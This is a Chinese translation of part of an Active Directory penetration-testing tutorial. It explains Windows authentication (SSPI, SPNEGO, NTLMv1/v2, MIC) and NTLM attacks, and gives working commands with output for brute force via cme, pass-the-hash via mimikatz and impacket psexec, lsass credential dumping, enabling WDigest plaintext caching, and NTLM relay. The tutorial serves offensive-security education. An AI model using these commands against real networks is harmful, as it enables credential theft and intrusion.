Attacking Active Directory 0 to 0.9(译文,下篇)
在本文中,我们将继续为读者介绍与Active Directory相关的攻防知识。
(接上文)
Authentication
理解各种Active Directory攻击时的一个关键,就是理解身份验证在Active Directory中是如何进行的。但在深入介绍技术细节之前,让我们快速总结一下。
在Active Directory中,有两种可用的网络身份验证协议:NTLM和Kerberos协议。它们中的任何一种,都可对域用户进行身份验证,而Kerberos是这种情况下的首选项,但是只有NTLM可用于对本地计算机用户进行身份验证。
既然它们中的任何一个都可以使用,那么客户端和服务器是如何就要使用的身份验证协议达成一致的?实际上,它们使用了一种叫做SPNEGO的协商机制。通过SPNEGO机制,它们就可以指出自己可以接受哪种协议。
SPNEGO协商
使用SPNEGO进行协商的协议,必须与GSS-API编程接口相互兼容,以便客户端和服务器程序能够以透明的方式使用它们。
但是,我们还必须考虑到身份验证协议不仅要适用于远程登录,还要适用于本地登录,因为计算机需要根据域控制器对域用户进行身份验证(通常通过询问Kerberos票证完成验证)。Windows计算机中提供了不同的登录类型,因此,渗透测试人员应该熟悉这些类型,因为其中某些类型会把用户凭据缓存在lsass进程中,或者将密码存储在LSA机密中。
所以,我们不妨先来回顾一下这些登陆类型。
GSS-API/SSPI
GSS-API(Generic Security Service Application Program Interface,GSS-API)是一种应用程序编程接口,定义了可以由安全包实现的过程和类型,以便以统一的方式提供身份验证(而不是授权)。GSS-API的具体定义见RFC2743。
在RFC2744中定义了基于C程序设计语言的过程和类型。因此,与GSS-API兼容的库也需要实现这些方法和类型。例如,可以通过调用GSS-API过程而不是直接调用Kerberos过程来使用MIT Kerberos库。下面给出部分GSS-API过程:
- gss_acquire_cred:返回凭据句柄。
- gss_init_sec_context:启动与对等方一起使用的安全上下文。
- gss_accept_sec_context:接受由对等方发起的安全上下文。
此外,GSS-API还有助于维护通信的完整性和机密性。GSS-API还提供了计算/验证消息的MIC(消息完整性代码)以及加密/解密内容的过程。下面给出其中的部分过程:
- gss_get_mic:计算消息的MIC(消息完整性代码)。
- gss_verify_mic:检查MIC以验证消息完整性。
- gss_wrap:将MIC附加到消息上,并可选地加密消息内容。
- gss_unwrap:验证MIC并解密消息内容。
- 这样,用户应用程序只需调用GSS-API过程就可以使用不同的安全库,而无需针对每个库修改代码。例如,一个程序可以通过GSS-API同时使用Kerberos和NTLM身份验证。
`.---------------------------. | Kerberos Library | .--- .---- | .---> | GSS-API ---> | Kerberos | | '--- '---- | | | | .---------. | '---------------------------' | user |---| | program | | .---------------------------. '---------' | | NTLM Library | | .--- .---- | '---> | GSS-API ---> | NTLM | '--- '---- | | | '---------------------------'`
可以同时使用Kerberos或NTLM身份验证的程序
Windows中的许多服务都会用到GSS-API,以便通过Kerberos或NTLM提供身份验证。尽管如此,Kerberos仍然不能在工作组中使用,只能在Active Directory中使用,因为它是一种集中式身份验证协议。
Windows还会使用SSPI(Security Support Provider Interface),这是GSS-API的Microsoft专用版本,并进行了某些扩展。事实上,SSPI的许多函数与GSS-API函数是等效的,如下所示:
SSPI与GSS-API之间的等效函数
Windows SSPs
在Windows中,有许多不同的SSP(Security Support Provider)都以DLL库的形式实现了SSPI,并且可以供各种应用程序使用。下面给出一些常见的SSP:
Kerberos SSP
Kerberos SSP(Kerberos.dll)主要用于管理Kerberos身份验证,同时,它还负责缓存Kerberos票证和密钥。
NTLM SSP
NTLMSSP(msv1_0.dll)主要用于管理NTLM身份验证。同时,它还负责缓存mimikatz可以从lsass进程提取的NT哈希值。
Negotiate SSP
Negotiate SSP(Secur32.dll)是管理SPNEGO协商的中间SSP,并根据协商结果将身份验证委派给Kerberos SSP或NTLM SSP。
`Kerberos .-------------------------. | kerberos.dll | |-------------------------| .--- .---- | Negotiate .---> | GSS-API ---> | Kerberos | .-------------. | '--- '---- | | secur32.dll | | | | |-------------| | '-------------------------' .---------. .--- | | | user |---->| GSS-API ----|>--| | program | '--- | | NTLM '---------' | | | .-------------------------. '-------------' | | msv1_0.dll | | |-------------------------| | .--- .---- | '---> | GSS-API ---> | NTLM | '--- '---- | | | '-------------------------'`
使用Negotiate(SPNEGO)的程序
Digest SSP
Digest(wdigest.dll)实现了用于HTTP的Digest Access协议。它是旧版操作系统中缓存明文密码的SSP,可以通过mimikatz进行检索。
即使从Windows 2008 R2开始默认禁用了密码缓存,仍然可以通过将HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential注册表项设置为1或直接在内存中修补Digest SSP来启用密码缓存功能。
Secure Channel SSP
Secure Channel(schannel.dll)可以提供加密的通信。它被用来为HTTP通信添加SSL/TLS层。
Cred SSP
CredSSP(credssp.dll)创建一个TLS通道,通过协商型SSP对客户端进行身份验证,最后允许客户端向服务器发送用户的完整凭据。RDP将会用到它。
Custom SSPs
此外,第三方也可以在注册表项hklm\system\currentcontrolset\control\lsa\security packages中添加自己的自定义SSP。SSP也可以是一个AP(身份验证包),供登录应用程序使用。实际上,注册SSP/AP正是mimikatz用来窃取密码的一种技术。
SPNEGO
SPNEGO(Simple and Protected GSS-API Negotiation)是一种机制,允许客户端-服务器应用程序协商底层安全协议,即与GSS-API兼容的协议,以供应用程序使用。这样,客户端(在RFC 4178中也被称为发起方)和服务器(被称为接受方)就都可以(通过调用GSS_Init_sec_context)建立相同的GSS上下文了。
SPNEGO的处理过程大体如下所示:
-
客户端(发起方)调用GSS_Init_sec_context并指出将使用SPNEGO。然后返回一个包含安全机制选项的列表(mechTypes),以及一个首选机制的初始令牌(mechToken)——该令牌是可选项。这些信息将通过NegTokenInit消息发送给服务器(接受方)。
带有Kerberos初始令牌的SPNEGO NegTokenInit
-
服务器应用程序将初始令牌和安全机制列表传递给GSS_Accept_sec_context。然后返回以下结果之一,并通过NegTokenResp消息进行发送(NegTokenResp与Wireshark显示的NegTokenTarg相同)。
-
没有一个安全机制被接受时,服务器将拒绝该协商。
- 如果所选择的安全机制是客户端的首选,则直接使用收到的令牌。同时,还将创建一个包含accept-complete状态的协商令牌。
- 如果选择了首选机制以外的其他机制,则创建一个包含accept-complete状态或request-mic状态的协商令牌。
返回accept-complete状态的SPNEGO NegTokenResp
- 协商返回给客户端后,会将其传递给GSS_Init_sec_context并对其进行分析。协商过程将持续下去,直到客户端和服务器双方在安全机制和选项上达成一致为止。
`Client Server | | GSS_Init_sec_context(SPNEGO=True) <--- | | ---> | NegTokenInit | 1) Kerberos | --------------> | (Token) | Security? | 2) NTLM | 1) Kerberos | | (Token) | | 2) NTLM | Kerberos (Token) | | ---> GSS_Accept_sec_context() | NegTokenResp | <--- | <-------------- | (Token) | (Token) | accept-complete Token | accept-complete | GSS_Init_sec_context() <--- | | | | | |`
SPNEGO协商过程
Windows是通过Negotiate SSP来使用SPNEGO的。这么做的好处,就是允许像SMB这样的服务也能使用Kerberos或NTLM身份验证。Kerberos主要用于对域用户进行身份验证,而NTLM则用于对本地计算机用户进行身份验证。通常来说,还有一个名为NEGOEX的选项,用于扩展SPNEGO选项,但我似乎从未使用过这个选项。
实际上,Windows使用的是SPNG,即SPNEGO的扩展。这个扩展对SPNEGO进行了某些改进,比如添加了一个名为NegTokenInit2的新消息,供服务器初始化SPNEGO协商过程。
SPNEGO协商
NTLM
NTLM Basics
NTLM(NT LAN Manager)是一种身份验证协议,Windows服务可以使用它来验证客户端的身份。NTLM是在NTLM SSP中实现的,除了身份验证之外,它还允许通过签名和/或加密消息来保护通信。
在讨论NTLM之前,有一些概念需要了解,以防弄混:
- NTLM:用于在远程机器中对用户进行身份验证的网络协议。它也被称为NET-NTLM。
- NTLMV1:NTLM的版本1。它也被称为NET-NTLMV1。
- NTLMV2:NTLM的版本2,它与NTLMv1的不同之处在于会话密钥和NTLM哈希值的计算方式。它也被称为NET-NTLMV2。
- NTLM2:是NTLMv1的安全增强版,但安全性仍弱于NTLMV2。
- NTLM哈希值/响应:服务器质询的响应,通过NT哈希值计算得到。它也被称为Net-NTLM哈希值和NTLM响应。
- NTLMv1哈希值:由NTLMv1创建的NTLM哈希值。
- NTLMv2哈希值:由NTLMv2创建的NTLM哈希值。
- NT哈希值:从用户密码派生的哈希值,用作NTLM身份验证的机密。它通常被称为NTLM哈希值,但这个名称是不正确的,因为NTLM哈希值是由NTLM协议生成的。
- LM哈希值:从用户密码派生的旧的LAN Manager哈希值已经过时,现已很少使用。因为它很容易破解。
- LM响应:服务器质询的LM响应,使用LM哈希值计算得到。它可以与NTLM响应结合使用。这个响应已经过时了。
- LMV1:LM响应的版本1。
- LMV2:LM响应的版本2。
首先需要知道的是,NTLM并不是一个生成网络通信量的孤立协议,而是必须嵌入到一个应用协议中使用,如SMB、LDAP或HTTP协议。
此外,NTLM还可以在Active Directory和工作组网络中使用。在Active Directory中,对于域用户,首选身份验证协议是Kerberos,但也可以使用NTLM,而计算机本地用户只能使用NTLM进行远程身份验证。因此,即使有可能在域中禁用NTLM,它仍然存在于当今大多数网络中。
NTLM身份验证由NEGOTIATE、CHALLENGE和AUTHENTICATE三个消息/阶段组成。
client server | | | | | NEGOTIATE | | -----------------> | | | | CHALLENGE | | <----------------- | | | | AUTHENTICATE | | -----------------> | | | | application | | messages | | -----------------> | | <----------------- | | -----------------> | | |
NTLM身份验证
- 首先,客户端在启动安全上下文后,会通过调用NTLM SSP的InitializeSecurityContext,向服务器发送协商消息。该消息用于指示安全选项,比如要使用的NTLM版本等。
NTLM协商消息
- 服务器通过调用NTLM SSP的AcceptSecurityContext来生成质询,并在质询消息中将其发送给客户端。此外,它还会确认协商的选项,并发送有关其计算机名、版本和域名的信息。
NTLM质询消息
- 客户端接收质询并将其交给InitializeSecurityContext,以便使用客户端密钥(NT哈希值)计算响应。如果需要,它还会创建一个会话密钥,并使用从NT哈希值派生的密钥(称为会话基密钥)对其进行加密。之后,客户端会将响应和会话密钥发回服务器。同时,还发送称为av_pairs的不同属性,以提供计算机名、版本、域名和协商标志等信息。而且,该消息还包括MIC(消息完整性代码)以防止篡改。
NTLM身份验证消息
- 最后,服务器验证质询响应是否正确(AcceptSecurityContext),并设置安全会话/上下文。以下消息将使用会话密钥进行加密/签名。
认证完成
`client server | | AcquireCredentialsHandle | | | | | v | | InitializeSecurityContext | | | | NEGOTIATE | '-------------> | -----------------> | ----------. | - flags | | | | v | | AcceptSecurityContext | | | | | challenge | CHALLENGE | | .-------------- | <----------------- | <---------' | | - flags | challenge | - challenge | | | - server info | v | | InitializeSecurityContext | | | | | | session response | | key | | AUTHENTICATE | '-------'---------> | -----------------> | ------.--------. | - response | | | | - session key | | | | (encrypted) | response session | - attributes | | key | + client info | | | | + flags | v v | - MIC | AcceptSecurityContext | | | | | v | | OK | |`
NTLM 身份验证过程
NTLM身份验证过程是由NTLM SSP处理的,表情独立于使用它的应用程序协议。此外,必须注意的是,为了证明其身份,客户端必须提供密钥。NTLM身份验证中使用的密钥是充当客户端的用户的NT哈希值(在NTLMv1中也使用LM哈希值)。
然而,在NTLM中,NT哈希值不会通过网络传输,而仅用于计算对服务器质询和会话密钥的NTLM响应。NTLM响应也称为NTLM哈希值(也称为Net-NTLM哈希值)。NTLM哈希值的计算取决于NTLM协议的具体版本。
使用NTLM时,凭据不会通过网络传输,因此不会缓存在目标计算机中。所以,我们无法通过Mimikatz检索它们。
目前有两个版本的NTLM协议:NTLMv1和NTLMv2。要使用的版本不是在传输过程中协商出来的,所以,必须在客户端和服务器中进行正确配置。
但是,在NTLM消息中,可以协商其他安全参数,例如:
- 会话签名。有助于防御NTLM中继攻击。
- 会话密封\加密。并不常用。
- 生成LM响应。在不需要LM响应的情况下,服务器不会处理该响应。
- 使用NTLMv2或NTLMv1会话安全性。会话安全性不是身份验证版本,而是提高NTLMv1身份验证安全性的扩展。
下面,让我们考察NTLMv1和NTLMV2之间的区别。
NTLMv1
在NTLMv1中,质询服务器的NTLM响应(NTLMv1哈希值)是通过使用NT哈希值通过DES算法来加密服务器质询计算出来的。会话密钥也是直接用NT哈希值进行加密的。
`NTLMv1可以和NTLMv2 Session Security一起使用,注意,后者并不是NTLMv2,而是增强NTLMv1安全性的扩展版本。`
`Server Client challenge challenge | (if NTLMv2 Session Security) | | '-----------.-----------' | v .---> LM hash --> Password ----| NTLMv1 '---> NT hash --> v | .---------------|----------------. | | | v v v NTv1 Response LMv1 Response Session Base Key (NTLMv1 Hash) (LMv1 Hash)`
NTLMv1身份验证
NTLMv2
然而,在NTLMv2中,为了保护AUTHENTICATE消息的完整性,从而保护hole会话的完整性,需要引入更多的数据。为了计算响应(NTLM哈希值),NTLMv2将考虑下列因素:
- 服务器质询
- 随机生成的客户端质询
- 当前时间戳
- AvPairs字段,包含服务器域/主机名等信息,或者消息中是否包含Mic(MsvAvFlags)。(在相关文档中,AvPairs被记录为令人困惑的ServerName字段)
`.--- | - Domain Server Client Timestamp AvPairs < - Dns challenge challenge | | | - IsMicPresent? | | | | | - Etc... | | | | '--- '------------'-----.------'-----------' | v Password ---> NT hash ----> NTLMv2 | | .---------------|----------------. | | | v v v NTv2 Response LMv2 Response Session Base Key (NTLMv2 Hash) (LMv2 Hash)`
NTLMv2身份验证
NTLMv2将就所有这些数据连在一起,并应用HMAC来计算NTLM响应,称为NTLMv2哈希值。此外,该数据还用于计算会话密钥。
MIC
另外,为了保护NTLM协商的完整性,AUTHENTICATE消息还将提供MIC。MIC是通过使用会话密钥对NTLM过程的所有消息应用HMAC来计算得到的。
`NEGOTIATE CHALLENGE AUTHENTICATE | | | '----------------'-----------------' | v Exported Session Key ----> HMAC-MD5 | v MIC`
MIC的计算过程
因此,这3条消息的完整性都得到了保护。而且,在攻击者删除MIC的情况下,身份验证将失败,因为NTLMv2响应为MIC的存在标志提供了保护。然而,在过去,MIC一直是各种安全审查的目标,人们还是在其中发现了Drop the MIC和Drop the MIC2漏洞。
必须注意的是,NTLMv1在创建响应时没有考虑NTLM标志。因此,在使用NTLMv1的情况下,执行NTLM中继攻击的攻击者只需删除AUTHENTICATE消息的MIC(并调整Drop the MIC中显示的标志)即可篡改数据,例如,禁用应用程序消息的签名。
NTLM in Active Directory
NTLM既可以在工作组中使用,也可以在Active Directory中使用。在后一种情况下,它允许对网络机器中的域帐户进行身份验证。但是,NT哈希值是存储在位于域控制器中的Active Directory数据库中的。
因此,为了验证域帐户的AUTHENTICATE消息,目标机器将向DC发送一个Netlogon(NetrLogonSamLogonWithFlags)请求,要求它验证客户端对质询的响应。之后,DC会验证这个响应,并向计算机返回必要的信息,如会话密钥和用户特权,以便继续应用程序会话。
client server DC | | | | | | | NEGOTIATE | | | --------------> | | | | | | CHALLENGE | | | <-------------- | | | | | | AUTHENTICATE | NetrLogonSamLogonWithFlags | | --------------> | ---------------------------> | | | | | | ValidationInfo | | | <--------------------------- | | | | | application | | | messages | | | --------------> | | | | | | <-------------- | | | | | | --------------> | | | | |
具有域帐户时的NTLM过程
而且,NTLM也可以用于不同域中的机器。如果所使用的帐户都来自与服务器不同的域,它必须向DC请求验证AUTHENTICATE消息,而DC则必须将AUTHENTICATE消息发送到用户帐户域的DC以进行验证(通过使用信任关系)。
client server DC DC (it.foo.com) (foo.com) (foo.com) (it.foo.com) | | | | | | | | | NEGOTIATE | | | | --------------> | | | | | | | | CHALLENGE | | | | <-------------- | | | | | | | | AUTHENTICATE | NetrLogonSamLogonWithFlags | NetrLogonSamLogonEx | | --------------> | ---------------------------> | --------------------> | | | | | | | ValidationInfo | ValidationInfo | | | <--------------------------- | <-------------------- | | | | | | application | | | | messages | | | | --------------> | | | | | | | | <-------------- | | | | | | | | --------------> | | | | | | |
域间NTLM过程
这样,即使通常使用的是Kerberos,也可以在Active Directory中使用NTLM,因为它是该环境中的默认选项。
强制进行NTLM身份验证而不是Kerberos(在Windows内置实用程序中)的一个技巧,是通过指定IP地址而非主机名连接到目标计算机,因为Kerberos需要主机名来标识计算机服务。
例如,命令dir\dc01\c$将使用Kerberos针对远程共享进行身份验证,而dir\192.168.100.2\c$则使用NTLM进行身份验证。
NTLM Attacks
现在我们知道了NTLM是如何工作的,下面让我们考察如何将其用于渗透测试。
NTLM Recon
NTLM对于侦察非常有用,因为如果在协商消息中发送了NTLMSSP_NEGOTIATE_TARGET_INFO标志,那么服务器将在质询消息中返回用AvPairs填充的TargetInfo字段,其中包含与服务器相关的多种信息,如主机名和域名等。
NTLM质询消息中的服务器信息
当我们只知道机器的IP,并且服务器上启用了SMB或HTTP等对NTLM非常友好的服务时,这些信息对于识别机器将非常有用。这可用于在网络中完成保留名称的解析。
$ ntlm-info smb 192.168.100.0/24 Target: 192.168.100.7 NbComputer: WS02-7 NbDomain: CONTOSO DnsComputer: ws02-7.contoso.local DnsDomain: contoso.local Version: 6.1.7601 OS: Windows 7 | Windows Server 2008 R2 Target: 192.168.100.10 NbComputer: WS01-10 NbDomain: CONTOSO DnsComputer: ws01-10.contoso.local DnsDomain: contoso.local DnsTree: contoso.local Version: 10.0.19041 OS: Windows 10 | Windows Server 2019 | Windows Server 2016
SMB扫描
它既可以在内部网络中使用,但也可以通过互联网使用,因为许多HTTP服务器都支持NTLM,如Outlook Web App。
在互联网中使用时,可能会泄露组织内部域的名称,而该名称对攻击者来说可能很有用,比如用于在github中搜索密钥或密码泄漏,或者在VPN网关面板中使用它进行蛮力攻击。
为了检索NTLM信息,可以使用NTLMRecon(可以执行HTTP路径bruteforcing)或ntlm-info(支持HTTP和SMB)等工具。此外,您还可以通过这个WordList(https://gitlab.com/Zer1t0/barrido/-/blob/master/wordlists/ntlm.txt)来识别支持NTLM的Web端点。
NTLM brute-force
由于NTLM是一种身份验证协议,因此可以使用任何支持的应用程序协议来测试用户凭据或发起蛮力攻击。攻击者通常会使用SMB协议,因为它在Windows机器中可用,但也可以使用MSSQL或HTTP等其他协议。
使用NTLM发动蛮力攻击时,可以借助于hydra、nmap、cme或invoke-bruteForce.ps1等工具。
$ cme smb 192.168.100.10 -u anakin -p passwords.txt SMB 192.168.100.10 445 WS01-10 [*] Windows 10.0 Build 19041 x64 (name:WS01-10) (domain:contoso.local) (signing:False) (SMBv1:False) SMB 192.168.100.10 445 WS01-10 [-] contoso.local\anakin:1234 STATUS_LOGON_FAILURE SMB 192.168.100.10 445 WS01-10 [-] contoso.local\anakin:Vader! STATUS_LOGON_FAILURE SMB 192.168.100.10 445 WS01-10 [+] contoso.local\anakin:Vader1234! (Pwn3d!)
基于cme的NTLM蛮力攻击示例
然而,需要注意的是,如果对单个帐户测试过多的密码,可能会被安全系统所拦截。在这种情况下,SMB对AUTHENTICATE消息的响应将包含代码STATUS_ACCOUNT_LOCKED_OUT。
此外,进行蛮力攻击还会产生大量网络流量,特别是针对Active Directory帐户时,因为目标计算机需要根据DC验证凭据。
此外,Windows-ATA还可以检测针对域帐户的蛮力攻击,因为该解决方案将检查发送到DC的所有通信流量。
Pass the hash
另一个使用NTLM协议的著名攻击技术是Pass-The-Hash(PtH)。正如你可能注意到的,NTLM根据客户/用户的NT哈希计算NTLM哈希值和会话密钥。因此,如果攻击者知道客户的NT哈希值,他就可以在NTLM认证中使用这个哈希值来冒充客户,即使是在明文密码未知的情况下,也是如此。
这种攻击现在已经很难得手了,因为Microsoft已经提供了许多保护措施,可以防止mimikatz等工具从lsass进程中检索明文密码。但是,仍然可以提取用户帐户的NT哈希值,除非启用了凭据保护(但也可以绕过)。
要从lsass中提取NT哈希值,可以使用mimikatz sekurlsa::logonpasswords命令。或者,您还可以使用procdump、sqldumper或其他工具转储lsass进程,并将转储复制到本地计算机,以便使用mimikatz、pypykatz读取它,或者使用LSassy远程读取转储。
此外,还可以从域控制器中的本地SAM数据库或NTDS.dit数据库中提取NT哈希值。
在Windows计算机中,您可能需要使用mimikatz在进程中注入NT哈希值,以便用内置工具或PsExec等IT工具对远程机器进行身份验证。此外,还有一些特殊的工具,如Invoke-TheHash套件,可以将NT哈希值作为一个参数进行传递。
PS C:\Users\Anakin\Downloads> .\mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:b73fdfe10e87b4ca5c0d957f81de6863 user : Administrator domain : contoso.local program : cmd.exe impers. : no NTLM : b73fdfe10e87b4ca5c0d957f81de6863 | PID 1080 | TID 2664 | LSA Process is now R/W | LUID 0 ; 2124820 (00000000:00206c14) \_ msv1_0 - data copy @ 000001E6F01AE490 : OK ! \_ kerberos - data copy @ 000001E6EF86CCD8 \_ des_cbc_md4 -> null \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ des_cbc_md4 OK \_ *Password replace @ 000001E6F01D7E38 (32) -> null
用mimikatz发动Pass-The-Hash攻击
注意,当注入其他用户的NT哈希值(或Kerberos票证)时,只能在远程连接中冒充其他用户,而不是在本地计算机中冒充其他用户。
另一方面,要在Linux机器上执行Pass-The-Hash攻击,可以使用impacket套件,其脚本可以直接接受NT哈希值作为参数使用。
$ psexec.py contoso.local/Anakin@192.168.100.10 -hashes :cdeae556dc28c24b5b7b14e9df5b6e21 Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation [*] Requesting shares on 192.168.100.10..... [*] Found writable share ADMIN$ [*] Uploading file WFKqIQpM.exe [*] Opening SVCManager on 192.168.100.10..... [*] Creating service AoRl on 192.168.100.10..... [*] Starting service AoRl..... [!] Press help for extra shell commands The system cannot find message text for message number 0x2350 in the message file for Application. (c) Microsoft Corporation. All rights reserved. b'Not enough memory resources are available to process this command.\r\n' C:\Windows\system32>whoami nt authority\system
使用impacket中的psexec.py脚本发动Pass-The-Hash攻击
NTLM Relay
现在,让我们讨论与NTLM相关的最著名的攻击之一,即NTLM中继攻击。
要获得关于NTLM中继攻击的更多信息,请查看这篇文章(https://en.hackndo.com/ntlm-relay/),其中包括一个很棒的NTLM中继矩阵。
进行NTLM中继攻击时,攻击者会执行中间人攻击,并利用其中间人位置将NTLM身份验证重定向到其感兴趣的服务器,以获得经过身份验证的会话。
`client attacker server | | | | | -----|--. | NEGOTIATE | NEGOTIATE | | | --------------------> | ------------------> | | | | | | | CHALLENGE | CHALLENGE | |> NTLM Relay | <-------------------- | <------------------ | | | | | | | AUTHENTICATE | AUTHENTICATE | | | --------------------> | ------------------> | | | | -----|--' | | application | | | messages | | | ------------------> | | | | | | <------------------ | | | | | | ------------------> | | | |`
NTLM中继攻击
NTLM中继攻击的缺陷是,即使攻击者通过了身份验证,它也无法知道会话密钥,而会话密钥在传输中是加密过的,而在对消息进行签名和/或加密(密封)时,则必须使用该密钥。因此,如果签名是在客户端和服务器之间通过协商方式确定的话,攻击者将无法为应用程序消息生成有效的签名,从而无法与服务器对话,从而导致攻击失败。
但是,即使客户端和服务器希望协商签名,攻击者也可以篡改消息以取消这些标志的设置。为了避免这种情况,正如我们所看到的,AUTHENTICATE消息包括了一个MIC,这是一个基于所有NTLM消息的签名。最后,如果服务器检查MIC并与原始消息的签名不一致,则中止连接。
然而,由于它是一个可选字段,攻击者还可以删除MIC并更改相关标志,以指出MIC并不存在(无法修改MIC,因为它是用会话密钥计算出来的)。
因此,为了保护MIC,NTLMv2会使用AUTHENTICATE消息中的AvPairs值(包括MIC标志)来计算质询响应。如果攻击者修改了表示AvPairs中是否存在MIC的标志,则目标服务器中的质询响应检查将失败,会话将结束。需要注意的是,NTLMv1并没有对MIC提供保护,因此容易受到消息篡改攻击。
令人好奇的是,在CVE-2015-005漏洞之前,如果将NTLM与域帐户一起使用,攻击者就可以通过Netlogon调用(NetrLogonSamLogonWithFlags)要求DC验证AUTHENTICATE消息并返回会话密钥,因此攻击者可以利用这一点绕过签名限制。
尽管如此,游戏还远未结束。NTLM不仅允许使用NTLM标志ntlmssp_negotiate_sign来协商签名,而且还允许由客户端和服务器来进行设置。但是,即使两者都设置了这个标志,也无法保证签名一定会被应用。因为这取决于应用程序协议。另外,通常会有3种不同的签名状态:Not Supported、Supported和Required。
例如,在SMB的情况下,它包括自己的签名标志(SecurityMode),用于确定是否支持/需要签名。因此,在SMB通信中,NTLM标志NTLMSSP_NEGOTIATE_SIGN被设置为表示支持签名,但有必要检查SMB标志,以确定通信是否要签名。此外,这种行为是因SMB版本而异的。在这里,我将向您提供SMB签名矩阵(https://en.hackndo.com/ntlm-relay/#signature-matrix)的副本。
对于SMB1来说,有3种签名状态:Disabled、Enabled与Required。
SMB1签名矩阵
SMB2签名矩阵
正如您所看到的,在SMB1和SMB2中,默认情况下客户端启用了签名(但不是必需的),因此设置了NTLM标志NTLMSSP_NOGECIATE_SIGN。但是,除了总是需要SMB签名的DC之外,服务器在SMB2中只设置了NTLMSSP_NEGOTIATE_SIGN标志。在执行跨协议NTLM中继攻击时,必须注意一点。
使用NTLM的另一个常见协议是LDAP,它也有三个级别的签名:Required、Enabled与Disabled。但是,与SMB不同的是,LDAP协议没有签名标志,因此协商是基于NTLM的NTLMSSP_NEGOTIATE_SIGN标志的——在至少支持/启用LDAP的情况下,该标志就会被设置。以下矩阵列出了这些情况:
LDAP签名矩阵
实际上,通过GPOS就可以修改客户端和服务器的LDAP签名配置。
正如您所看到的,当客户端和服务器都启用了签名(这意味着支持签名)时,通信就被签名了。此外,必须考虑到DC在默认情况下并不强制进行LDAP签名,因此,客户端是可以与DC建立未签名的会话的。
有了这些信息,就可以推断出跨协议中继攻击可以在LDAP到SMB2(在默认情况下)之间完成,但无法在SMB2到LDAP之间实施。
`client <-----SMB2----> attacker <----LDAP---> server | | | | | -----|--. | NEGOTIATE SIGN=1 | NEGOTIATE SIGN=1 | | | --------------------> | ------------------> | | | | | | | CHALLENGE SIGN=1 | CHALLENGE SIGN=1 | |> NTLM Relay | <-------------------- | <------------------ | | | | | | | AUTHENTICATE SIGN=1 | AUTHENTICATE SIGN=1 | | | --------------------> | ------------------> | -|---> MIC OK!! | | -----|--' | | || | | | vv | | | client SIGN = 1 | | | server SIGN = 1 | | | || | | | vv | | | Signing required | | | Attack failed | | | |`
从SMB2到LDAP的跨协议NTLM中继(默认情况)
正如我们前面所看到的,由于SMB2总是设置NTLMSSP_NEGOTIATE_SIGN,因此,如果我们把这个NTLM消息转发到支持签名的LDAP服务器,那么,签名就会被协商,攻击就会失败。记住,NTLM消息是无法篡改的,因为有MIC在保护它(对于NTLMv2而言)。
在相反的情况下,攻击者可以与这样的SMB2服务器进行协商,这些服务器符合下列要求:不用SMB头部进行签名,并且会转发LDAP NTLM消息,因为其默认情况下会设置NTLMSSP_NEGOTIATE_SIGN标志。一旦NTLM协商完成,由于SMB中不需要签名,会话就不需要签名,所以攻击就能成功。然而,这种攻击无法针对DC,因为默认情况下它们需要签名。
`client <-----LDAP----> attacker <------SMB2------> server (Non DC) | | | LDAP request | | | --------------------> | | | | | | LDAP response | | | <-------------------- | | | | | | | SMB2 NEGOTIATE REQUEST | | | -----------------------> | | | SMB SIGN_REQUIRED = 0 | | | | | | | | | SMB2 NEGOTIATE RESPONSE | | | <----------------------- | | | SMB SIGN_REQUIRED = 0 | | | | | | -----|--. | NEGOTIATE SIGN=1 | NEGOTIATE SIGN=1 | | | --------------------> | -----------------------> | | | | | | | | | | | CHALLENGE SIGN=1 | CHALLENGE SIGN=1 | |> NTLM Relay | <-------------------- | <----------------------- | | | | | | | | | | | AUTHENTICATE SIGN=1 | AUTHENTICATE SIGN=1 | | | --------------------> | -----------------------> | -|---> MIC OK!! | | -----|--' | | || | | | vv | | | client SIGN_REQUIRED = 0 | | | server SIGN_REQUIRED = 0 | | | || | | | vv | | | Signing NOT required | | | Successful Attack!! | | | | | | application | | | messages | | | -----------------------> | | | | | | <----------------------- | | | | | | -----------------------> | | | |`
从SMB2到LDAP的跨协议NTLM中继(默认情况)
实际上,SMB2协议还可以针对自身进行中继:
client <------SMB2-----> attacker <------SMB2------> server (Non DC) | | | | SMB2 NEGOTIATE REQUEST | SMB2 NEGOTIATE REQUEST | | -----------------------> | -----------------------> | | SMB SIGN_REQUIRED = 0 | SMB SIGN_REQUIRED = 0 | | | | | | | | SMB2 NEGOTIATE RESPONSE | SMB2 NEGOTIATE RESPONSE | | <----------------------- | <----------------------- | | SMB SIGN_REQUIRED = 0 | SMB SIGN_REQUIRED = 0 | | | | | | | | | -----|--. | NEGOTIATE SIGN=1 | NEGOTIATE SIGN=1 | | | --------------------> | -----------------------> | | | | | | | | | | | CHALLENGE SIGN=1 | CHALLENGE SIGN=1 | |> NTLM Relay | <-------------------- | <----------------------- | | | | | | | | | | | AUTHENTICATE SIGN=1 | AUTHENTICATE SIGN=1 | | | --------------------> | -----------------------> | -|---> MIC OK!! | | -----|--' | | || | | | vv | | | client SIGN_REQUIRED = 0 | | | server SIGN_REQUIRED = 0 | | | || | | | vv | | | Signing NOT required | | | Successful Attack!! | | | | | | application | | | messages | | | -----------------------> | | | | | | <----------------------- | | | | | | -----------------------> | | | |
SMB2 NTLM中继(默认情况)
